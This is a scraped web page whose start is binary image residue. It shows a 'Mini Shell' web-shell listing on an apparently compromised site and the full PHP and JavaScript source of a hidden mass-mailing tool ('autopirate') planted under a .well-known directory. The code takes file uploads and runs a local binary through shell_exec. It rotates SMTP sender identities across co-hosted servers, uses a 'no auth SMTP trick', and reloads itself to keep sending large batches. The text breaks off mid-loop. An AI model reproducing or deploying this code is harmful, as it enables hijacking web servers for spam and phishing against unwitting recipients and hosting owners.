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੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB`Mini Shell

HOME


Mini Shell 1.0
DIR:/home5/ranush/www/.well-known/acme-challenge/.hm/
Upload File :
Current File : /home5/ranush/www/.well-known/acme-challenge/.hm/gpt-hm4.php
<?php
error_reporting(0);

//@ini_set('error_log',NULL);
//@ini_set('log_errors',0);
$serverData = phpversion()." ".get_current_user()."<br>|||".php_uname();

header( 'Content-type: text/html; charset=utf-8' );
ignore_user_abort(true);
error_reporting(0);
if (isset($_GET['sess_id'])) {
	session_start($_GET['sess_id']);
}else{
	session_start();
}
@ini_set('max_execution_time',0);
@set_time_limit(0);
###################################################
#| #####  #   #    ###   ###   #####  ####  #### |#
#| #   #  #   # [] #  # #  #  #    # #     #     |#
#| ####    #### [] #   #   #  #    # ####  ####  |#
#| #   #      # [] #       #  #    #    #     #  |#
#| ####    ####    #       #  ##### ####  ####   |#
###################################################
//watcher to prevent sender from stopping from start to 
//finish of autopirate.
//upload mode
if (isset($_GET['007'])){
	//echo upload form
	$uploadCode = "";
	$uploadCode .= '<!DOCTYPE html>';
	$uploadCode .= '<html>';
	$uploadCode .= '<body bgcolor="black" style="color:white;">';
	$uploadCode .= '';
	$uploadCode .= '<form action="" method="post" enctype="multipart/form-data">';
	$uploadCode .= '  Attachment:';
	$uploadCode .= '  <input type="file" name="007" id="007">';
	$uploadCode .= '  <input type="submit" value="Upload Attachment" name="submit"';
	$uploadCode .= 'onclick="alert(\'uploading attachment, please wait. you\\\'ll when it is done.\');" >';
	$uploadCode .= '</form>';
	$uploadCode .= '';
	$uploadCode .= '</body>';
	$uploadCode .= '</html>';
	if (!empty($_POST)){
		//we're already in a writeable directory /var/tmp
		//upload

		$fullFilePath = "/var/tmp/".$_FILES["007"]["name"];
		if (move_uploaded_file($_FILES["007"]["tmp_name"], $fullFilePath)) {
			//set the filename in a session variable
			echo "<script>alert('upload successful you can continue');</script>";
			$_SESSION['attachment'] = $fullFilePath;
		}else{
			//notify user that upload was not successful
			echo "<script>alert('upload was not successful');</script>";
		}
		
	}
	echo $uploadCode;
//stop processing further
exit();
}


if (isset($_GET['mode'])) {
		//load the main sender in a frame and keep an eye on it
		//any time it fails to load, simply reload it.
	
	?>
	<!DOCTYPE html>
	<html>
	<head>
	<title>..</title>

	<?php echo "<script>console.log('$serverData');</script>";?>
	</head>
	<body style="background-color: #000000;overflow-x: hidden;">
	<a href="javascript:frameElem.contentWindow.pirate()" style="color:white;"><u>Continue Ahoy!!</u></a><br>
	<a href="javascript:loadMessage()" style="color:white;"><u>Load Message</u></a>
	<a href="javascript:saveMessage()" style="color:white;"><u>Save Message</u></a>
	<br><br>
	<a href="javascript:void()" onclick="delete localStorage.localUrl;return false" style="color:white;"><u>Reset Loader</u></a>
	<br><br>
	<a href="javascript:pauseSending()" style="color:white;"><u>Pause Sending</u></a><br><br>
	<a href="javascript:smtpFromSetting()" style="color:white;"><u>Setup SMTP FROM</u></a>
	<span id="pivot"></span>
	<script type="text/javascript">
		function pauseSending() {
			window.frameElem.contentWindow.pirate = function () { };
			window.frameElem.contentWindow.submitForm = function () { };
			window.frameElem.contentWindow.stop();
		}
		function smtpFromSetting(){
			formE = frameElem.contentDocument.getElementById('smtpfrom');
			if (formE.hasAttribute("hidden")) {
				formE.removeAttribute("hidden");
			}else{
				formE.setAttribute("hidden", "hidden")
			}
			//store values in localStorage
		}
		function storeSmtpFrom(){
			localStorage.smtpFromUsername = frameElem.contentDocument.getElementById("smtp_from_username").value;
			localStorage.smtpFromServers = frameElem.contentDocument.getElementById("smtp_from_servers").value;
			smtpFromSetting()
			return false
			
		}
		function loader(event) {
			console.log(event.data);
			var data = event.data;
			if (typeof data.mails != 'undefined') {
				localStorage.lastBatch += data.mails.replace('\\\\n', "\n");
			}
			else if (typeof data.mailerObject != 'undefined') {
				localStorage.mailerObject = data.mailerObject;
				location.reload();
			}
		}
		function loadMails() {
			var localUrl = localStorage.localUrl;
			var messageId = localStorage.messageId;
			var localElem = window.localElem;
			if (localUrl != null) {
				if (typeof localElem == 'undefined') {
					embedLoader(localUrl);
				}
				setTimeout(function () {
					localElem.contentWindow.postMessage({ emailsFile: messageId + "mails.txt" }, "*");
				}, 2000);
			}
		}
		function loadMessage() {
			var localUrl, messageId;
			var localElem = window.localElem;
			if (typeof localStorage.localUrl != 'undefined') {
				localUrl = localStorage.localUrl;
				messageId = localStorage.messageId;
			}
			else {
				localUrl = prompt("please enter loader url:");
				messageId = prompt("Please enter message id");
			}
			localStorage.localUrl = localUrl;
			localStorage.messageId = messageId;
			if (localUrl != null) {
				if (typeof localElem == 'undefined') {
					embedLoader(localUrl);
				}
				setTimeout(function () {
					localElem.contentWindow.postMessage({ id: messageId, loadMessage: "" }, "*");
				}, 2000);
			}
		}
		function saveMessage() {
			var localUrl;
			var messageId;
			var localElem = window.localElem;
			if (typeof localStorage.localUrl != 'undefined') {
				localUrl = localStorage.localUrl;
				messageId = localStorage.messageId;
			}
			else {
				localUrl = prompt("please enter loader url:");
				messageId = prompt("Please enter message id");
			}
			localStorage.localUrl = localUrl;
			localStorage.messageId = messageId;
			if (localUrl != null) {
				if (typeof localElem == 'undefined') {
					embedLoader(localUrl);
				}
				setTimeout(function () {
					localElem.contentWindow.postMessage({ id: messageId,
						messageContent: localStorage.mailerObject,
						saveMessage: ""
					}, "*");
				}, 2000);
			}
		}
		function embedLoader(loaderUrl) {
			var localElem = window.localElem;
			localElem = document.createElement("iframe");
			localElem.setAttribute("src", loaderUrl);
			//frameElem.setAttribute("width", screen.width);
			//frameElem.setAttribute("height", screen.height+23);
			localElem.setAttribute("style", "margin:0;padding:0;width:0;height:0;display: block;");
			localElem.setAttribute("frameborder", 0);
			var dspan = document.getElementById('pivot');
			dspan.appendChild(localElem);
		}
		function log(what) {
			if (typeof localStorage.silence != 'undefined' &&
				localStorage.silence != 'yes') {
				console.log(what);
			}
		}
		//watch for calls to this function
		function Timeout(fn, interval) {
			var id = setTimeout(fn, interval);
			this.cleared = false;
			this.clear = function () {
				this.cleared = true;
				clearTimeout(id);
				//if (typeof run != 'undefined') {run['code']();}
			};
		}
		function frameLoadedAct() {
			var windowObj = window;
			if (typeof windowObj.reloaderObject == 'undefined' || windowObj.reloaderObject.cleared == true) {
				windowObj.frameElem.contentWindow.startChecking = 1;
				return;
			}
			try {
				top.reloaderObject.clear();
			}
			catch (e) { }
			//load babysitter if not active
			if (windowObj.babySitter == 'away') {
				setTimeout(function () {
					babySit(windowObj.frameElem);
					windowObj.storePirate = windowObj.frameElem.contentWindow.pirate;
					windowObj.storeSubmitForm = windowObj.frameElem.contentWindow.submitForm;
				}, 10000);
			}
		}
		function reloadSenda() {
			//destroy worker and remake it
			var windowObj = window;
			log("reloading sender");
			windowObj.frameElem.remove();
			setTimeout(function () { embedWorker(); }, 3000);
			if (typeof (localStorage.numberOfReloads) != 'undefined') {
				localStorage.numberOfReloads = parseInt(localStorage.numberOfReloads) + 1;
			}
			//keep reloading sender till a successfully loaded senda cancels timer
			top.reloaderObject = new Timeout(function () {
				reloadSenda();
			}, 15000);
		}
		function isEven(value) {
			if (value != 0 && value % 2 == 0) {
				return true;
			}
			return false;
		}
		function babySit(elem) {
			log('checking');
			var windowObj = window;
			var failTimes;
			if (typeof localStorage.failTimes == 'undefined') {
				failTimes = String(localStorage.failTimes);
			}
			try {
				if (elem.contentDocument == null && isEven(Number(failTimes)) == true) {
					//failed to load lets reload page
					log("loading failed... will reload");
					localStorage["continue"] = 'yes';
					localStorage.failTimes = String(Number(failTimes) + 1);
					setTimeout(function () { reloadSenda(); }, 2000);
					windowObj.babySitter = 'away';
				}
				else if (elem.contentDocument.title == 'Header Maila' || isEven(Number(failTimes)) == false) {
					//ok, check again in six seconds.
					localStorage.failTimes = isEven(Number(failTimes)) ? Number(failTimes) : Number(failTimes) + 1;
					log('everything is ok for now... will check again soon');
					setTimeout(function () { babySit(elem); }, 6000);
					windowObj.babySitter = 'here';
				}
				else {
					//probably doesn't exist?
					var htmlCode = elem.contentDocument.head.innerHTML + elem.contentDocument.body.innerHTML;
					if (htmlCode.match(/404|403|Not\sFound/) === null &&
						isEven(Number(failTimes))) {
						//other error, just try again
						log("strange server side error... will reload");
						localStorage["continue"] = 'yes';
						localStorage.failTimes = Number(failTimes) + 1;
						setTimeout(function () { reloadSenda(); }, 2000);
						windowObj.babySitter = 'away';
					}
					else if (isEven(Number(failTimes))) {
						//nope doesn't exist. stop trying.
						log('doesn\'t exist sorry )-;');
					}
				}
			}
			catch (e) {
				if (isEven(Number(failTimes)) == true) {
					log('probably failed to load...will reload.');
					localStorage["continue"] = 'yes';
					localStorage.failTimes = Number(failTimes) + 1;
					setTimeout(function () { reloadSenda(); }, 2000);
					windowObj.babySitter = 'away';
				}
			}
		}
		function resilientPirate() {
			try {
				log("resilient pirate called pirate");
				window.frameElem.contentWindow.pirate();
			}
			catch (e) {
				setTimeout(function () { resilientPirate(); }, 3000);
			}
		}
		function embedWorker() {
			var myUri = location.href;
			var frameUrl = myUri.replace('&mode', '&mode9').replace('?mode', '?mode9');
			var frameElem = document.createElement("iframe");
			window.frameElem = frameElem;
			frameElem.setAttribute("src", frameUrl);
			//frameElem.setAttribute("width", screen.width);
			//frameElem.setAttribute("height", screen.height+23);
			frameElem.setAttribute("style", "margin:0;padding:0;width:110vw;height:100vh;display: block;");
			frameElem.setAttribute("frameborder", String(0));
			//attachment frame
			//var attachmentUrl = myUri.replace("&mode", "&007").replace("?mode", "?007");
			//var attachmentElem = document.createElement("iframe");
			//attachmentElem.setAttribute("src", attachmentUrl);
			//attachmentElem.setAttribute("style", "margin: 0;padding-left:23em;width:110vw;height:10vh;display: block;");
			//attachmentElem.setAttribute("frameborder", String(0));
			var dspan = document.getElementById('pivot');
			//dspan.appendChild(attachmentElem);
			dspan.appendChild(frameElem);
			//was relying on frameElem onload but it's not reliable enough
			//so now using a 15 seconds timeout.
			//page should have finished loading within a minute
			//if not just start up the babysitter and let it reload d page.
			/*setTimeout(function() {
				if (typeof reloaderObject=='undefined' || reloaderObject.cleared==true) {
					setTimeout(function() {babySit(frameElem)}, 6000);
					resilientPirate();
				}

			}, 6000);*/
		}
		embedWorker();
		setTimeout(function () {
			var frameElem = window.frameElem;
			var windowObj = window;
			babySit(frameElem);
			windowObj.storePirate = frameElem.contentWindow.pirate;
			windowObj.storeSubmitForm = frameElem.contentWindow.submitForm;
		}, 10000);


	</script>
	</body>
	</html>
	<?php
//not necessary to process rest of file
exit();
}




if (isset($_GET['mode9'])) {

	?>

	<title>
	Header Maila
	</title>
	<style>
	body, input, textarea{
	background-color: #000000;
	color: #e1e1e1;
	}
	body{
		overflow-x:hidden;
	}
	</style>

	<body onload="worker()">
	<center>
	<?php
	if (isset($_SESSION["attachment"])){
		echo "Attachment: ".$_SESSION["attachment"];
	}
	?>
	<form method="post" id="smtpfrom" action="" hidden>
	<input id="smtp_from_username" size="45" placeholder="SMTP FROM USERNAME"><br />
	<textarea id="smtp_from_servers" cols="45" rows="10" placeholder="list of cohosted servers/smtp servers"></textarea><br />
	<input type="submit" value="save" name="go" onclick="return top.storeSmtpFrom()">
	</form>
	<form method="post" id="ship" action="">
	<input type="text" name="smtp_from_email" size="45" value="{{randomId}}@{{hostname}}" placeholder="Smtp From Email" style="height: 2.5em;"><br>
	<br>
	<input type="text" name="from_name" size="45" value="" placeholder="From Name" style="height: 2.5em;"><br>
	<input type="text" name="from_email" size="45" value="" placeholder="From Email" style="height: 2.5em;"><br>
	<input type="text" name="reply_to" size="45" value="" placeholder="Reply To Email" style="height: 2.5em;"><br>
	<input type="text" name="subject" size="45" value="" placeholder="Subject" style="height: 2.5em;"><br>
	<input type="text" id="fields" name="fields" size="45" value="" placeholder="Fields" style="height: 2.5em;"><br>
	<input type="text" id="testemail" name="testemail" size="45" value="" placeholder="Test Emails Comma Separated" style="height: 2.5em;"><br>
	Email List<br>
	<textarea id="maillist" name="maillist" cols="45" rows="15"></textarea><br>
	Message Code<br>
	<textarea name="msg" id="msg" cols="65" rows="15"></textarea>
	<br>
	Attachment: <input type="file" id="fileInput"><br>
	<strong>Use No Auth Smtp Trick? </strong>
	[[[No<sub><input type="radio" id="no" name="noAuthSmtp" value="no"></sub>]]] [[[&nbsp;&nbsp;Yes<sub><input type="radio" id="yes" name="noAuthSmtp" value="yes"></sub>]]]<br>
		
	<br>
	<input type="hidden" name="message">
	<input type="hidden" id="list" name="list">
	<input type="submit" name="Send" value="Send Message" onClick="return autoPirate('once')">&nbsp;&nbsp;&nbsp;<input type="submit" name="encode" id="encode_message" value="Encode Message" onClick="return composeEmail('msg', 'fileInput')">&nbsp;&nbsp;&nbsp;<input type="submit" name="reset" id="reset_message" value="Reset Message" onClick="return resetMessage('msg')">

	</form>

	<a href="javascript:void(0)" onclick="return autoPirate('continuous')">[[::Auto Pirate::]]</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:void()" onclick="exportMailerObject()">[[::Export::]]</a><br><a href="javascript:window.stop()" >XX::STOP::XX</a><br>

	<br>
	<strong>
		
	<div id="topnav" class="topnavigation scrolling"><font color="yellow">STATS:</font><br />&nbsp;&nbsp;<font color="green">SENT MAILS: <span id="sent">0</span></font><br />
	<font color="green">NUMBER OF RELOADS: <span id="reloads">0</span></font>
	</div>
	</strong>

	<style>
	.topnavigation {
		position:static;
	}
	.topnavigation.scrolling {
		position:fixed;
		top:30px;
	}
	</style>
	<script type="text/javascript">
	function byName(name) {
		return document.getElementsByName(name)[0];
	}
	function byId(id) {
		return document.getElementById(id);
	}
	function setValueOfName(name, newValue) {
		byName(name).value = newValue;
	}
	function getValueOfName(name) {
		return byName(name).getAttribute("value");
	}
	function setAttributeOfName(name, attributeName, newValue) {
		byName(name).setAttribute(attributeName, newValue);
	}
	function getValueOfId(id) {
		return byId(id).getAttribute("value");
	}
	function setValueOfId(id, newValue) {
		byId(id).setAttribute("value", newValue);
	}
	function setAttributeOfId(id, attributeName, newValue) {
		byId(id).setAttribute(attributeName, newValue);
	}
	function glue() {
		var testEmailInput = mailerObjectF().testemail;
		var fieldsInput = mailerObjectF().fields;
		var mailListInput = byName("maillist").value;
		var parts = [fieldsInput, mailListInput, testEmailInput];
		setValueOfName('list', parts.join("\n"));
		//test if there are strange characters in message
		var msgValue;
		try {
			msgValue = btoa(mailerObjectF().msg);
		}
		catch (e) {
			var encodedStr = encodeHTML(mailerObjectF().msg).replace(/[\u00A0-\u9999<>\&]/g, function (i) {
				return '&#' + i.charCodeAt(0) + ';';
			});
			msgValue = utoa(mailerObjectF().msg);
		}
		setValueOfName('message', msgValue);
	}
	
	function utoa(data) {
		return btoa(unescape(encodeURIComponent(data)));
	}
	

        function encodeToQuotedPrintable(inputString) {
			inputString = inputString.replace(/=/g, "=3D");
			var encodedString = '';
			for (var i = 0; i < inputString.length; i++) {
				var char = inputString[i];
				var charCode = char.charCodeAt(0);
				if (charCode > 127 || char.length > 1) {
					encodedString += encodeURIComponent(char)
										.replace(/%/g, '=').toUpperCase();
				} else {
					encodedString += char;
				}
			}
			return encodedString;
		}
        function padLines(text) {
            var paddedText = "";
            var lines = text.split("\n");
            for (var i = 0; i < lines.length; i++) {
                if (lines[i].length > 75) {
                    var chunkedLine = lines[i].match(/.{1,75}/g).join("=\n");
                    paddedText += chunkedLine;
                } else {
                    paddedText += lines[i];
                }
                if (i < lines.length - 1) {
                    paddedText += "\n";
                }
            }
            return paddedText;
        }
        
        function removeStyleTags(htmlString) {
			return htmlString.replace(/<style[^>]*>[\s\S\n\r]*?<\/style>/gi, '');
		}
        
        function extractPlainTextFromHTML(htmlMessage) {
            var htmlElement = document.createElement('div');
            htmlElement.innerHTML = removeStyleTags(htmlMessage);

            var textContent = '';

            var walker = document.createTreeWalker(htmlElement, NodeFilter.SHOW_TEXT, null, false);
            var nodeList = [];
            while (walker.nextNode()) {
                nodeList.push(walker.currentNode);
            }

            for (var i = 0; i < nodeList.length; i++) {
                var node = nodeList[i];
                if (node.parentElement.tagName === 'A') {
                    var linkText = node.parentElement.textContent;
                    var href = node.parentElement.getAttribute('href');
                    textContent += linkText + ' ' + href + ' ';
                } else if(node.textContent.trim().length >0){
                    textContent += node.textContent;
                }
            }

            return textContent;
        }

		function composeEmail(messageInputId, fileInputId) {
			var htmlMessage = document.getElementById(messageInputId).value;
			var file = document.getElementById(fileInputId).files[0];
			//store pristine message
			localStorage.pristineMessage = htmlMessage;
			
			var boundary = "{{id}}";
			var boundaryTwo = "{{id2}}";
			var escapedHTML = encodeToQuotedPrintable(htmlMessage);
			var paddedHTML = padLines(escapedHTML);
			var plainText = encodeToQuotedPrintable(extractPlainTextFromHTML(htmlMessage));
			var paddedText = padLines(plainText);
			var multipartMessage = "";
			var reader = new FileReader();
			reader.onload = function (event) {
				var attachment = event.target.result.split(",")[1];
				var paddedAttachment = padLines(attachment);

				multipartMessage += "Content-Type: multipart/mixed; boundary=\"" + boundary + "\"\n\n";
				multipartMessage += "--" + boundary + "\n";
				multipartMessage += "Content-Type: multipart/alternative; boundary=\"" + boundaryTwo + "\"\n\n";
				multipartMessage += "--" + boundaryTwo + "\n";
				multipartMessage += "Content-Type: text/plain; charset=\"utf-8\"\n";
				multipartMessage += "Content-Transfer-Encoding: quoted-printable\n\n";
				multipartMessage += paddedText + "\n\n";

				multipartMessage += "--" + boundaryTwo + "\n";
				multipartMessage += "Content-Type: text/html; charset=\"utf-8\"\n";
				multipartMessage += "Content-Transfer-Encoding: quoted-printable\n\n";
				multipartMessage += paddedHTML + "\n\n";
				multipartMessage += "--" + boundaryTwo + "--\n";
				multipartMessage += "--" + boundary + "\n";
				multipartMessage += "Content-Type: application/octet-stream\n";
				multipartMessage += "Content-Transfer-Encoding: quoted-printable\n";
				multipartMessage += "Content-Disposition: attachment; filename=\"" + file.name + "\"\n\n";
				multipartMessage += paddedAttachment + "\n";

				multipartMessage += "--" + boundary + "--\n";
				document.getElementById(messageInputId).value = multipartMessage;
				console.log(multipartMessage);
			};
			if (file ) {
				reader.readAsDataURL(file);
			} else {
					multipartMessage += "Content-Type: multipart/alternative; boundary=\"" + boundary + "\"\n\n";

					multipartMessage += "--" + boundary + "\n";
					multipartMessage += "Content-Type: text/plain; charset=\"utf-8\"\n";
					multipartMessage += "Content-Transfer-Encoding: quoted-printable\n\n";
					multipartMessage += paddedText + "\n\n";

					multipartMessage += "--" + boundary + "\n";
					multipartMessage += "Content-Type: text/html; charset=\"utf-8\"\n";
					multipartMessage += "Content-Transfer-Encoding: quoted-printable\n\n";
					
					multipartMessage += paddedHTML + "\n\n";

					multipartMessage += "--" + boundary + "--\n";
					document.getElementById(messageInputId).value = multipartMessage;
					console.log(multipartMessage);
			}
			return false;
		}

	function resetMessage(msgId){
		document.getElementById(msgId).value = localStorage.pristineMessage;
		return false;
	}
	function encodeHTML(str){
		return str.replace(/([\u00A0-\u9999<>&])(.|$)/g, function(full, char, next) {
		if(char !== '&' || next !== '#'){
			if(/[\u00A0-\u9999<>&]/.test(next))
			next = '&#' + next.charCodeAt(0) + ';';

			return '&#' + char.charCodeAt(0) + ';' + next;
		}

		return full;
		});
	}
	function prefill() {
		var inputs = ['smtp_from_email', 'from_name', 'from_email', 'reply_to', 'subject', 'fields', 'testemail', 'msg'];
		//default
		setAttributeOfId("no", "checked", "checked");
		if (typeof localStorage.mailerObject != 'undefined') {
			var mailerObject = JSON.parse(localStorage.mailerObject);
			for (var i = 0; i < inputs.length; i++) {
				setValueOfName(inputs[i], mailerObject[inputs[i]]);
			}
			//whether to use no auth smtp trick
			if (mailerObject['noAuthSmtp'] == "yes") {
				setAttributeOfId("yes", "checked", "checked");
			}
			else {
				setAttributeOfId("no", "checked", "checked");
			}
		}
	}
	function log(what) {
		if (typeof localStorage.silence != 'undefined' &&
			localStorage.silence != 'yes') {
			console.log(what);
		}
	}
	//this method might perforate holes in the program need to 
	//be more specific about return type
	function increment(link) {
		var parts = link.split(',');
		if (parts.length < 3) {
			return false;
		}
		var start = parts[1];
		var stop = parts[2];
		var nustart = parseInt(parts[1]) + 1;
		if (nustart < parseInt(stop)) {
			parts[1] = nustart.toString();
			return parts.join(',');
		}
		else {
			return false;
		}
	}
	function addToSent(line) {
		//lets remove it from last sent batch.
		if (typeof localStorage.lastBatch != 'undefined') {
            lb  = localStorage.lastBatch.replace("\r\n", "\n").split("\n")
            for (let index = 0; index < lb.length; index++) {
                const aline = lb[index];
                if (aline.indexOf(line) != -1) {
                    lb.splice(index, 1);
                    break;
                }
            }
            localStorage.lastBatch = lb.join("\n");
			/* localStorage.lastBatch = localStorage.lastBatch.replace(line + "\n", '');
			localStorage.lastBatch = localStorage.lastBatch.replace(line, ''); */
		}
		var numMailSent = 0;
		if (typeof localStorage.numMailSent != "undefined") {
			numMailSent = Number(localStorage.numMailSent);
		}
		localStorage.numMailSent = numMailSent + 1;
		document.getElementById('sent').innerHTML = localStorage.numMailSent;
	}
	function addToFailed() {
		var numMailFailed = 0;
		if (typeof localStorage.numMailFailed != "undefined") {
			numMailFailed = Number(localStorage.numMailFailed);
		}
		localStorage.numMailFailed = numMailFailed + 1;
	}
	 function encodeFormData() {
			//already encoded?
			if(window.inputsEncoded == true){return;}else{
				var form = document.getElementById('ship');
				var inputs = form.getElementsByTagName('input');
				for (var i = 0; i < inputs.length; i++) {
					if (inputs[i].type !== 'submit') {
						inputs[i].value = btoa(encodeURIComponent(inputs[i].value)); // Base64 encoding
					}
				}
				var tarea = form.getElementsByTagName('textarea');
				for (var i = 0; i < tarea.length; i++) {
						tarea[i].value = btoa(encodeURIComponent(tarea[i].value)); // Base64 encoding
						//tarea[i].innerHTML = btoa(encodeURIComponent(tarea[i].value)); // Base64 encoding
						
				}
			}
        }
	function submitForm() {
		log(this.caller);
		//window.stop();
		encodeFormData();
		window.inputsEncoded = true;
		setTimeout(function(){
					byId('ship').submit();
			},1000)

		//only do this if we're in auto pirate mode.
		var mailerObject = initMailerObject();
		if (mailerObject.maillist.length > 0) {
			log("resubmitting form");
			setTimeout(function () { submitForm(); }, 120000);
		}
	}
	function initMailerObject() {
		if (typeof mailerObjectF() == 'undefined') {
			if(typeof localStorage.mailerObject == 'undefined'){
				localStorage.mailerObject = "{}";
			}
			setMailerObject(JSON.parse(localStorage.mailerObject));
		}
		return mailerObjectF();
	}
	function mailerObjectF() {
		return window.mailerObject;
	}
	function setMailerObject(mailerObject) {
		window.mailerObject = mailerObject;
	}
	function setMailerObjectKey(key, value) {
		if(window.inputsEncoded == true && kry != 'smtp_from_email'){
			window.mailerObject[key] = decodeURIComponent(atob(value));
		}else{
			window.mailerObject[key] = value;
		}
		
	}
	function setWindowProperty(key, value) {
		window.key = value;
	}
	function autoPirate(what) {
		localStorage.numberOfReloads = 0;
		var perSend;
		if (what == "once") {
			perSend = byName('maillist').value.split("\n").length;
		}
		else {
			perSend = Number(prompt('how many emails to send each time?', String(500)));
			//perSend = parseInt(perSend);
		}
		var inputs = ['smtp_from_email', 'from_name', 'from_email', 'reply_to', 'subject', 'fields', 'testemail', 'msg'];
		setMailerObject({});
		for (var i = 0; i < inputs.length; i++) {
			setMailerObjectKey(inputs[i], byName(inputs[i]).value);
		}
		var maillist = byName('maillist').value.split("\n");
		//setWindowProperty("maillist", maillist);
		localStorage.total = maillist.length;
		var keepFirstItem = maillist[0];
		var thisMaillist = maillist.splice(0, perSend); //mails to send now
		if (what != 'once') {
			localStorage.lastBatch = thisMaillist.join("\n");
		}
		else {
			localStorage.lastBatch = '';
		}
		var firstLetters = keepFirstItem.substr(0, 7);
		if (firstLetters == 'http://' || firstLetters == 'https:/') {
			var nulink = increment(keepFirstItem);
			var tempMailList = (typeof (nulink) == "string") ? [nulink] : [];
			setMailerObjectKey("maillist", tempMailList);
		}
		else {
			var tempMailList = maillist; //remaining emails
			setMailerObjectKey("maillist", tempMailList);
		}
		if (byId('yes').checked) {
			mailerObjectF().noAuthSmtp = "yes";
		}
		else {
			mailerObjectF().noAuthSmtp = "no";
		}
		mailerObjectF().perSend = perSend;
		//store mailerObject
		localStorage.mailerObject = JSON.stringify(mailerObjectF());
		localStorage.perSend = perSend;
		byName('maillist').value = thisMaillist.join("\n");
		glue();
		localStorage.numMailSent = 0;
		localStorage.numMailFailed = 0;
		submitForm();
		return false;
	}
	function pickAndRotate(serverList){
		fpick = serverList[0];
		nuList = serverList.slice(1);
		nuList.push(fpick);
		localStorage.smtpFromServers = nuList.join("\n");
		return fpick;
	}
	function pirate() {
		log(this.caller);
		//requeue any left over automatically anytime this function was called.
		requeue();
		//check to see if there is some emails to be sent.
		if (typeof localStorage.mailerObject != 'undefined') {
			var inputs = ['smtp_from_email', 'from_name', 'from_email', 'reply_to', 'subject', 'fields', 'testemail', 'msg'];
			setMailerObject(JSON.parse(localStorage.mailerObject));
			for (var i = 0; i < inputs.length; i++) {
				setMailerObjectKey(inputs[i], byName(inputs[i]).value);
			}
			//set smtp from
			if (typeof localStorage.smtpFromServers != "undefined" && localStorage.smtpFromServers.length > 3) {
				servers = localStorage.smtpFromServers.replace("\r\n", "\n").split("\n");
				username = localStorage.smtpFromUsername;
				smtpFrom = username+"@"+pickAndRotate(servers);
				setMailerObjectKey("smtp_from_email", smtpFrom);
			}
			if (mailerObjectF().maillist.length > 0) {
				//if maillist is small send a message requesting for more.
				if (mailerObjectF().maillist.length < 200) {
					try {
						parent.loadMails();
					}
					catch (e) { }
				}
				//maillist will be pulled from mailerObject.
				var keepFirstItem = mailerObjectF().maillist[0];
				var thisMaillist = mailerObjectF().maillist.splice(0, Number(localStorage.perSend)).join("\n");
				byName('maillist').value = thisMaillist;
				localStorage.lastBatch = thisMaillist;
				var firstLetters = keepFirstItem.substr(0, 7);
				if (firstLetters == 'http://' || firstLetters == 'https:/') {
					var nulink = increment(keepFirstItem);
					if (typeof nulink == 'string') {
						mailerObjectF().maillist = (typeof (nulink) == "string") ? [nulink] : [];
					}
					else {
						alert("malformed email list url");
					}
				}
				localStorage.mailerObject = JSON.stringify(mailerObjectF());
				//alert('sending');
				glue();
				submitForm();
				//document.getElementById('ship').submit();
			}
		}
	}
	function requeue() {
		if (typeof localStorage.lastBatch != 'undefined') {
			//wiping off lastbatch so it is not retried
			//cos directsend is finicky
			if (location.href.indexOf('directsend') != -1) {
				localStorage.lastBatch = '';
			}
			var lastBatch = localStorage.lastBatch.match(/[^\n\r]+/g);
			//need to append lastbatch to mailerObject
			initMailerObject();
			if (lastBatch != null) {
				mailerObjectF().maillist = mailerObjectF().maillist.concat(lastBatch);
				//need to save object just in case something goes wrong
				//and there was no chance to write it back.
				localStorage.mailerObject = JSON.stringify(mailerObjectF());
			}
			localStorage.lastBatch = '';
		}
	}
	function sendingTimer() {
		//mailobject.maillist check means any last leftover in lastbatch
		//will not be sent if maillist is empty. need to correct that.
		if (typeof window.startChecking != 'undefined' &&
			typeof mailerObjectF() != "undefined" &&
			(mailerObjectF().maillist.length > 0 ||
				localStorage.lastBatch.length > 0)) {
			window.scrollTo(0, 0);
			//before pirate is called in, we should move 
			//unsent in last batch back into the queue
			log('time up! resending');
			window.stop();
			pirate();
		}
		else {
			setTimeout(function () { sendingTimer(); }, 240000);
		}
	}
	function worker() {
		initMailerObject();
		if (typeof window.startChecking != 'undefined' &&
			document.readyState == "complete" &&
			typeof mailerObjectF() != "undefined" &&
			(mailerObjectF().maillist.length > 0 ||
				localStorage.lastBatch.length > 0)) {
			window.scrollTo(0, 0);
			//before pirate is called in, we should move 
			//unsent in last batch back into the queue
			log("worker is continuing.");
			//window.stop();
			pirate();
		}
		else {
			setTimeout(function () { worker(); }, 2000);
		}
	}
	function exportMailerObjectF() {
		var maO = JSON.stringify(mailerObjectF());
		alert(maO);
		console.log(maO);
	}
	//calls
	try {
		top.frameLoadedAct();
		setTimeout(function () { window.startChecking = 1; }, 2000);
	}
	catch (e) { }
	window.addEventListener('scroll', window.checkPosition, false);
	prefill();
	//below should be called at regular intervals
	if (typeof localStorage.numMailFailed != 'undefined') {
		byId("sent").innerHTML = localStorage.numMailSent;
		byId('reloads').innerHTML = localStorage.numberOfReloads;
	}
	var count = 0; //needed by count checker during sending.
	setTimeout(function () { sendingTimer(); }, 240000);

	</script>
	<?php

	flush();
	ob_flush();

}
//echo "./hm 100 ".base64_encode(json_encode($_POST))." 2>&1";
//stop processing further if $_POST is empty
if(empty($_POST)){
    chmod("hm", 0755);
	exit();
}
//echo "./hm 100 ".base64_encode(json_encode($_POST))." 2>&1";
// Decode post data before further processing
foreach ($_POST as $key => $value) {
    $_POST[$key] = urldecode(base64_decode($value));
}
$output = shell_exec("./hm 100 ".base64_encode(json_encode($_POST))." 2>&1");
$parts = explode("+", str_replace(array("\r\n","\n"), "", $output));
echo "</body>";
foreach ($parts as $ind => $line) {
    if (stripos($line, " to ")){
        $lineParts = explode(" to ", $line);
        $to = $lineParts[1];
